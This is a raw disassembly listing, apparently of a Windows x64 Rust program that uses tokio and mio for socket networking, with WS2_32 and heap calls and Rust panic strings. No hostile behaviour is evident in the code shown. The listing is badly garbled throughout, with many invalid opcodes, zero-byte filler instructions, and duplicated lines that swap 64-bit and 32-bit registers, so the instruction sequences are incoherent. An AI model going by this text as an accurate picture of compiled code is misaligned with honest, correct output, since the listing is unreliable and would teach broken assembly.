mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010e6ff
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rbp - 0x30]
movups xmmword [rax + 0x10], xmm0
mov rdx, qword [rbp + 0x148]
cmp rdx, 2
jne 0x14010e325
mov r14, qword [rbp + 0x150]
mov rdi, qword [rbp + 0x170]
jmp 0x14010dddd
lea rcx, [rsi + 0x40]
mov qword [rsi + 0x40], rdx
mov qword [rsi + 0x48], r12
mov qword [rsi + 0x50], r14
mov rdx, qword [rbp + 0x158]
mov qword [rsi + 0x58], rdx
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], rcx
mov r14, qword [rbp + 0x150]
mov rdi, qword [rbp + 0x170]
jmp 0x14010d6f8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rax, [rbp + 0x88]
mov qword [rbp + 0xb8], 0
mov dword [rbp + 0x88], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov r13, qword [rbp + 0x158]
mov rcx, r13
mov edx, 0x4800001b
xor r8d, r8d
xor eax, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010e43a
mov rdi, qword [rbp + 0xb8]
cmp rdi, r13
jne 0x14010dfbe
jmp 0x14010e440
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rbx, 0x20
or rbx, 2
lock dec qword [r15]
jne 0x14010e456
mov rcx, r15
call fcn.140004ac0
out dx, ax
invalid
mov r13, qword [rbp + 0x168]
mov rdi, qword [rbp + 0x170]
mov r15, qword [rbp + 0x160]
mov r12, rbx
lock dec qword [r14]
je 0x14010dd5d
jmp 0x14010dd65
call fcn.1401666c0
movzx ecx, byte [rbx + 0x18]
sbb byte [r9 + r9*8 + 0x282850f], al
add byte [rax], al
mov dword [rbx + 0x70], 0x19d
mov rcx, qword [rbp + 0x140]
mov qword [rbx + 0x68], rcx
test al, al
jne 0x14010e088
invalid
jmp 0x14010e09b
call fcn.1401666c0
test al, al
jne 0x14010e09b
invalid
invalid
mov byte [rbx + 0x18], 1
jmp 0x14010e09b
invalid
cmp byte [rax], al
add byte [rax], al
call fcn.14015d7f0
ud2
add byte [rdx + 0x18], bh
call fcn.14015d7f0
ud2
mov edx, 0x23
call fcn.140160fb0
ud2
ud2
or al, 0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_net_tcp_stream.rs
mov edx, 0x23
call fcn.140160fb0
sub al, 0x2a
invalid
add byte [rdi], cl
invalid
sub al, 0x2a
add eax, 0x480b0f00
mov dword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
invalid
add r13, 0x48
lea rdx, [rbp + 0x88]
lea r8, [rbp + 0xb8]
mov rcx, r13
call fcn.140167a50
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov ecx, 8
mov edx, 0x80
invalid
add byte [rdx + 0x80], bh
add al, ch
sbb dh, dl
add al, 0
call fcn.14015d7f0
ud2
test eax, ecx
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, ebx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
mov qword [rbp + 0xe0], rax
mov byte [rbp + 0xe8], 3
mov qword [rbp + 0xf0], 2
mov qword [rbp + 0x100], 2
mov qword [rbp + 0x110], 1
mov qword [rbp + 0x118], rax
mov byte [rbp + 0x120], 3
lea rax, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
lea eax, [0x1401d1670]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], 2
lea rax, [rbp + 0xb8]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], 2
lea rax, [rbp - 0x20]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.8_src_syswindows_selector.rs_b
lea rcx, [rbp + 0x88]
call fcn.140160e20
ud2
xor eax, eax
mov qword [rbp + 0xb8], r13
mov byte [rbp + 0xc0], al
add byte [rax], al
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.8_src_syswindows_selector.rs_b
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d10e0]
lea r8, [rbp + 0xb8]
mov edx, 0x2b
call fcn.140161200
ud2
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
invalid
add al, 0
ud2
invalid
xor al, 1
jmp 0x14010e6c5
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
lea rdx, fcn.140022090
lea rdx, fcn.140022090
mov rcx, qword [rbp + 0x148]
call fcn.1401372e0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
mov edx, 0x836341fd
movabs al, byte [0xccccccccc3317119]
int3
push rsi
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0x268]
test eax, eax
invalid
je 0x14010e7b4
push 0xffffffff85000002
sal byte [rcx + rdx - 0x7d], 0xf8
add esi, dword [rcx + rbx - 0x7d]
clc
add al, 0x75
ja 0x14010e7f6
cmp eax, 3
je 0x14010e7c1
add esi, 0x270
jo 0x14010e7b4
add byte [rax], al
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140100be0
invalid
dec dword [rax - 0x73]
invalid
invalid
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x14010e808
call fcn.1400bbcb0
jmp 0x14010e808
cli
invalid
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x14010e808
call fcn.140005950
mov rax, qword [rsi + 0x510]
test rax, rax
je 0x14010e824
mov rcx, qword [rsi + 0x518]
add rsp, 0x20
pop rsi
jmp qword [rax + 0x18]
nop
add rsp, 0x20
pop rsi
ret
sub rsp, 0x368
movdqa xmmword [rsp + 0x350], xmm6
and al, 0x50
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x3d], cl
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x268]
invalid
add byte [rax - 0x73], cl
or eax, 0xfc36d
lea rcx, [0x14020abd0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add al, byte [rax]
add byte [rax - 0x77], cl
cli
call sub.VCRUNTIME140.dll_memcpy
mov r15d, dword [rdi + 0x260]
add byte [rcx - 0x7f], al
inc dword [rax]
retf 0x3b9a
jne 0x14010e8ff
add byte [rcx - 0x7f], al
inc dword [rax]
retf 0x3b9a
lea rcx, [rdi + 0x270]
mov r8d, 0x258
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rdi + 0x270]
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1401026a0
movzx r15d, byte [rsp + 0x41]
cmp r15b, 3
jne 0x14010e8d5
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x14010eeca
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
mov rcx, r14
call fcn.140100be0
invalid
invalid
jmp 0x14010eead
invalid
mov r12, qword [rdi + 0x258]
call fcn.14013ac10
ret
add al, byte [rax]
mov r14, rax
add r14, r12
jae 0x14010e9b4
ret
call fcn.14013ac10
add rax, 0x38640900
jb 0x14010ef0d
mov ebp, edx
add ebp, r15d
cmp ebp, 0x3b9aca00
jb 0x14010e9d0
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x40], al
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0xa0], eax
add byte [rax], al
add al, dh
dec qword [r15]
mov r12d, 1
jne 0x14010eac2
call fcn.1401439e0
jmp 0x14010eac2
add byte [rbx - 0x76afdbbc], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [r15]
jne 0x14010eabf
call fcn.1401438f0
xor r12d, r12d
mov eax, ebp
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub ebp, eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0xf0], eax
movaps xmm0, xmmword [rsp + 0x80]
add byte [rdi], cl
sub byte [rsp + 0x90], cl
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov eax, dword [rsp + 0xc9]
mov ecx, dword [rsp + 0xcc]
mov dword [rsp + 0x78], eax
and al, 0x78
mov dword [rsp + 0x7b], ecx
mov eax, dword [rsp + 0xc2]
mov ecx, dword [rsp + 0xc5]
and al, 0xc5
add byte [rax], al
invalid
mov dword [rsp + 0x70], eax
invalid
mov dword [rsp + 0x73], ecx
lea rcx, [rdi + 0x270]
add al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, [rsp + 0xf8]
mov r8d, 0x258
call sub.VCRUNTIME140.dll_memcpy
add al, 0
mov qword [rdi + 0x4c8], r12
lea rdx, [rsp + 0xf8]
mov r8d, 0x258
call sub.VCRUNTIME140.dll_memcpy
add al, 0
mov qword [rdi + 0x4c8], r12
mov qword [rdi + 0x4d0], r15
mov qword [rdi + 0x4d8], r14
mov dword [rdi + 0x4e0], ebp
add byte [rax], al
add al, 0
add byte [rcx + 0x4e0af], cl
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movdqu xmmword [rdi + 0x4e4], xmm0
movups xmmword [rdi + 0x4f4], xmm1
mov eax, dword [rsp + 0xf0]
mov dword [rdi + 0x504], eax
add eax, 0xc7480000
xchg dword [rax], ecx
add eax, 0xffff0000
invalid
jmp qword [rsi + recv]
out dx, eax
sal bl, 0xf
jg 0x14010eb30
adc byte [0x15003ebaf], al
jg case.0x140107dc6.46
sbb dword [0x1849bebb7], eax
and al, 0x78
add eax, 0xc7480000
xchg dword [rax], ecx
add eax, 0xffff0000
invalid
add byte [rbx - 0x7487dbbc], cl
and al, 0x7b
mov ecx, dword [rsp + 0x7b]
mov dword [rdi + 0x529], eax
mov dword [rdi + 0x52c], ecx
add byte [rax], al
mov byte [rdi + 0x530], 0
mov eax, dword [rsp + 0x70]
jo 0x14010eb60
and al, 0x73
jo 0x14010eb60
and al, 0x73
mov dword [rdi + 0x531], eax
mov dword [rdi + 0x534], ecx
lea r14, [rdi + 0x270]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
add byte [rax], al
add byte [rax], al
cmp eax, 1
je 0x14010ec3c
test eax, eax
jne 0x14010ec69
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov r15, qword [rcx + rax*8]
cmp al, 0xc1
lea rcx, [r15 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
add byte [rcx - 0x3a], al
xchg eax, esp
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xdc], 0
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0xddb8], 0
add byte [rcx + 0xf], al
xchg esp, eax
invalid
and r12b, cl
jmp 0x14010ec6c
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0xddb8], 0
add byte [rcx + 0xf], al
xchg esp, eax
invalid
xor r12d, r12d
lea r15, [rdi + 0x4c8]
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1401026a0
sbb eax, 0xfffff3a
mov dh, 0x6c
and al, 0x41
sbb eax, 0xfffff3a
mov dh, 0x6c
and al, 0x41
cmp bpl, 3
jne 0x14010ed40
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x10676405], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14010ece3
test eax, eax
jne 0x14010ed22
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r13 + 0xe0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0xdc]
movzx r13d, byte [rax + 0xdd]
test bpl, bpl
sete al
setne cl
test r13b, r13b
setne dl
and dl, cl
or r12b, al
or r12b, dl
cmp r12b, 1
jne 0x14010ed68
mov rcx, r15
mov rdx, rbx
call fcn.14014e0a0
test al, al
je 0x14010edfc
mov byte [rsi + 0x11], 3
mov al, 3
jmp 0x14010eeca
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
mov dword [rsp + 0x80], eax
add byte [rax], al
add byte [rdi], cl
mov bh, 0x44
and al, 0x46
add byte [rax], al
add byte [rdi], cl
mov bh, 0x44
and al, 0x46
mov word [rsp + 0x84], ax
jmp 0x14010edff
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0xdc], 0
mov rcx, r15
mov rdx, rbx
call fcn.14014e0a0
mov ebx, eax
movzx eax, byte [r12 + 0xe0]
cmp eax, 1
je 0x14010edd3
mov esp, dword [rcx + rax*8]
lea rcx, [r12 + 0x90]
lea rdx, [0x1401438a0]
add eax, dword [rax]
add eax, dword [rax]
call fcn.14012dc40
mov byte [r12 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov eax, dword [rcx + rax*8]
mov byte [rax + 0xdc], bpl
mov byte [rax + 0xdd], r13b
test bl, bl
jne 0x14010ed35
mov bpl, 3
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x6c], ax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x68], eax
mov rcx, r14
call fcn.140100be0
mov rcx, r15
call fcn.14014bbd0
test eax, 0x480003cd
lea ecx, [rdi + 0x4d0]
cmp qword [rdi + 0x4c8], 0
add byte [rax], al
invalid
je 0x14010ee48
add byte [rax], al
add byte [rax + rdx + 0x48], dh
mov eax, dword [rcx]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14010ee56
call fcn.1400bbcb0
jmp 0x14010ee56
invalid
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14010ee56
call fcn.140005950
mov rax, qword [rdi + 0x510]
test rax, rax
je 0x14010ee6c
mov rcx, qword [rdi + 0x518]
call qword [rax + 0x18]
mov r15b, 2
cmp bpl, 2
je 0x14010eead
and al, 0x2c
mov eax, dword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov dword [rsp + 0x28], eax
mov r15d, ebp
movdqu xmmword [rsi], xmm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov eax, dword [rsp + 0x28]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x2c]
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x268], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x350]
add rsp, 0x368
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x77], cl
invalid
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
ud2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], 1
lea rax, [0x140204680]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea rcx, [rsp + 0x30]
call fcn.140160e20
ud2
sub rsp, 0x28
mov rdi, qword [rdx]
mov qword [rdx], 4
cmp rdi, 4
je 0x14010f1d9
mov rsi, rcx
mov esi, ecx
add rdx, 8
add rcx, 8
add ecx, 8
add ecx, 8
mov r8d, 0x98
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], rdi
mov rax, rsi
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
lea rcx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_ready.rs
lea ecx, str.Ready_polled_after_completionC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_ready.rs
lea r8, [0x1401d7fd8]
mov edx, 0x1d
call fcn.140161290
ud2
lea edx, [0x1401d4a60]
lea rcx, [rsp + 0x20]
call fcn.140059e20
nop
add rsp, 0x28
ret
test ecx, ecx
mov qword [rsp + 0x28], rdx
je 0x14010f2e5
mov rdx, r12
call fcn.14014e0a0
test al, al
je 0x140111f66
lea rax, [r15 + 0x20]
mov qword [rsp + 0x1d8], rax
lea rax, [r15 + 0xe0]
mov qword [rsp + 0x198], rax
lea rax, [r15 + 0xe3]
mov qword [rsp + 0x418], rax
lea rax, [r15 + 0x28]
mov qword [rsp + 0x1a0], rax
lea rax, [r15 + 0x88]
mov qword [rsp + 0x428], rax
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
pxor xmm7, xmm7
movaps xmm8, xmmword [0x1401688c0]
movq xmm0, rcx
movq xmm9, rax
punpcklqdq xmm9, xmm0
movdqa xmm10, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmm11, xmmword [0x140168640]
movdqa xmm6, xmmword [0x140168bf0]
lea rax, [r15 + 0xc8]
mov qword [rsp + 0x168], rax
lea rax, [r15 + 0xf8]
mov qword [rsp + 0x568], rax
lea rax, [r15 + 0x58]
mov qword [rsp + 0x580], rax
lea rax, [r15 + 0x70]
mov qword [rsp + 0x578], rax
lea r13, [rsp + 0x590]
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x1e0]
mov qword [rsp + 0x570], r12
jmp case.0x1400693d1.2197
mov rdx, qword [r15 + 0x118]
mov rax, qword [r15 + 0x120]
mov rcx, r13
mov r8, r12
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add eax, 0x83480000
clc
add ecx, dword [rdi]
test byte [rdx + 2], bh
add byte [rax], al
cmp eax, 4
je 0x1401120e3
mov r8d, 0xa0
lea rcx, [rsp + 0x7f0]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsp + 0x858]
lea ecx, [rax - 0x12d]
cmp ecx, 3
jae 0x14010f807
cmp qword [r15], 0
je 0x14010f4ce
mov rax, qword [r15 + 8]
test rax, rax
je 0x14010f4ce
mov rdx, qword [r15 + 0x10]
mov r8, qword [r15 + 0x18]
mov rcx, qword [rsp + 0x1d8]
add dword [rax], eax
add bh, bh
push rax
invalid
mov qword [r15], 0
lea rdx, [0x1401d88c8]
jmp 0x14010f4f9
add rdx, 0x20
lea rax, [0x1401d8948]
cmp rdx, rax
mov r15, qword [rsp + 0x28]
je 0x14010f7a0
mov rax, qword [r15 + 0x60]
test rax, rax
je 0x14010f4e0
mov rcx, qword [rsp + 0x1a0]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x48], rax
call fcn.14006e510
mov r9, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
mov r14d, eax
mov rax, qword [rsp + 0x28]
movzx r12d, word [rax + 0x80]
mov ebx, r14d
and ebx, r12d
mov rdi, qword [rax + 0x40]
mov r13, qword [rax + 0x48]
mov r10, qword [rax + 0x50]
xor ebp, ebp
mov qword [rsp + 0x588], r10
jmp 0x14010f566
movzx eax, byte [rax + 8]
cmp al, byte [rdx + 8]
je 0x14010f61f
nop
inc rbp
inc rbx
mov rax, rbx
nop dword [rax]
mov rbx, rax
mov eax, 0
cmp rbx, r13
jae 0x14010f570
movzx r15d, word [rdi + rbx*4]
cmp r15, 0xffff
je 0x14010f4e0
movzx eax, word [rdi + rbx*4 + 2]
mov ecx, r12d
and ecx, eax
mov r8d, ebx
sub r8d, ecx
mov ecx, r12d
and ecx, r8d
cmp rbp, rcx
ja 0x14010f4e0
cmp ax, r14w
jne 0x14010f560
cmp r9, r15
jbe 0x1401120cf
imul rsi, r15, 0x68
mov rcx, qword [r10 + rsi + 0x40]
test rcx, rcx
setne al
cmp qword [rdx], 0
sete r8b
cmp al, r8b
je 0x14010f560
lea rax, [r10 + rsi]
add rax, 0x40
test rcx, rcx
je 0x14010f551
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x14010f560
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 8]
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x588]
mov r9, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
test eax, eax
jne 0x14010f560
cmp qword [r10 + rsi], 0
mov rdi, qword [rsp + 0x1a0]
je 0x14010f63d
add r10, rsi
mov rdx, qword [r10 + 8]
mov rcx, rdi
call fcn.1400a51b0
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, rbx
mov r9, r15
call fcn.140089800
lea rcx, [rsp + 0x5a]
mov rax, qword [rcx + 0x2e]
mov qword [rsp + 0x200], rax
movdqu xmm0, xmmword [rcx + 0xe]
movdqu xmm1, xmmword [rcx + 0x1e]
movdqa xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14010f6a5
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
lea rcx, [rsp + 0xa8]
call qword [rax + reloc.WS2_32.dll_recv]
cmp byte [rsp + 0x200], 2
mov rdx, qword [rsp + 0x38]
je 0x14010f4e0
mov rax, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x1f8]
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, qword [rsp + 0x38]
jmp 0x14010f4e0
mov r14, qword [rsp + 0x598]
mov qword [rsp + 0x3d0], r14
mov rsi, qword [r14]
test rsi, rsi
je 0x140112104
mov rax, qword [r14 + 8]
mov rcx, rsi
call qword [rax + 0x38]
movabs rcx, 0x54877165ed25028
xor rdx, rcx
movabs rcx, 0xd3360cd24ba17c0d
xor rax, rcx
or rax, rdx
jne 0x140112104
cmp byte [rsi], 1
jne 0x140112104
cmp byte [rsi + 1], 2
jne 0x140112104
cmp dword [rsi + 4], 0
jne 0x140112104
cmp qword [r15], 0
je 0x14010f9fc
mov rax, qword [r15 + 8]
test rax, rax
je 0x140112104
mov r8, qword [r15 + 0x10]
mov r9, qword [r15 + 0x18]
lea rcx, [rsp + 0x360]
mov rdx, qword [rsp + 0x1d8]
call qword [rax]
mov rax, qword [r15 + 0x128]
cmp rax, 1
jbe 0x14010fa37
jmp 0x1401120f7
mov rax, qword [rsp + 0x198]
movzx eax, byte [rax]
mov ecx, eax
or ecx, 4
cmp ecx, 5
lea r12, [rsp + 0x5a]
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x1e0]
je 0x14010f82b
cmp al, 0xa
jb 0x14010f7eb
cmp qword [r15 + 0xf0], 0
je 0x14010f7eb
mov r8, qword [r15 + 0xe8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x198]
movabs rcx, 0x101010101010101
mov qword [rax + 0x10], rcx
movups xmmword [rax], xmm8
jmp 0x14010f82b
add eax, 0xfffffecd
cmp eax, 2
lea r12, [rsp + 0x5a]
jae 0x1401122dc
cmp qword [r15], 0
je 0x14010f82b
cmp qword [r15 + 8], 0
je 0x1401122dc
movups xmm0, xmmword [0x1401d8958]
movaps xmmword [rsp + 0x60], xmm0
movdqu xmm0, xmmword [0x1401d8948]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x7f0]
mov rdx, rbp
call fcn.1400728a0
mov rsi, rax
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x14010f874
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
test rsi, rsi
je 0x1401122dc
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov rcx, rdi
call fcn.14005a400
cmp qword [rsp + 0x1e0], 0
jne 0x1401122dc
mov r8, qword [rsp + 0x1e8]
mov r9, qword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x1e0], xmm7
mov qword [rsp + 0x1f0], 0
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x200], rax
mov rcx, rbp
mov rdx, rdi
call fcn.140151fc0
mov r14d, dword [rsp + 0x50]
cmp r14d, 2
je 0x1401122dc
mov eax, dword [r12 + 2]
mov dword [rsp + 0x598], eax
mov rax, qword [r12 - 6]
mov qword [rsp + 0x590], rax
mov rsi, qword [rsp + 0x60]
mov esi, dword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
mov r13, qword [rsp + 0x70]
movdqu xmm0, xmmword [r12 + 0x1e]
movdqu xmm1, xmmword [r12 + 0x2e]
movups xmm2, xmmword [r12 + 0x3e]
movaps xmmword [rsp + 0x650], xmm2
movdqa xmmword [rsp + 0x640], xmm1
movdqa xmmword [rsp + 0x630], xmm0
xor byte [rsi], al
add byte [rax], al
test r13, r13
je 0x14010f9d5
js 0x140112a38
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14010f979
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112a79
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112a79
mov rbx, rax
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
test bl, 1
jne 0x14010fb0c
mov rax, rbx
or rax, 1
mov qword [rsp + 0x718], rbx
mov qword [rsp + 0x720], r13
mov qword [rsp + 0x728], rax
lea rax, [0x1401a9358]
jmp 0x14010fb2b
lea rax, [0x140204680]
mov qword [rsp + 0x718], rax
mov dword [rsp + 0x718], eax
lea rax, [rsp + 0x720]
movdqu xmmword [rax], xmm7
lea rax, [0x1401d3af8]
jmp 0x14010fb2b
lea rax, [0x1401d3af8]
mov qword [rsp + 0x360], rax
add byte [rax], al
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0x368], rax
lea rax, [rsp + 0x370]
movdqu xmmword [rax], xmm7
mov rax, qword [r15 + 0x128]
cmp rax, 1
ja 0x1401120f7
add byte [rax], al
add byte [rax], al
inc rax
mov qword [r15 + 0x128], rax
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x14010fae4
js 0x140112a38
mov rbx, qword [r15 + 0x98]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14010fa87
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
add eax, 0xc0854800
je 0x140112348
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112348
mov r14, rax
mov rcx, rax
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
test r14b, 1
jne 0x14010fcd7
invalid
add al, byte [rax]
invalid
invalid
mov rax, r14
or rax, 1
mov qword [rsp + 0x1e8], r14
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], rax
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x99879
jmp 0x14010fcf6
lea rax, [0x140204680]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1ea]
test byte [rdx + rbp*8], ah
add dword [rax], eax
add bl, dh
movq qword [rax + 6], mm7
test byte [rdx + rbp*8], ah
add dword [rax], eax
add bl, dh
movq qword [rax + 6], mm7
lea rax, [0x1401d3af8]
jmp 0x14010fcf6
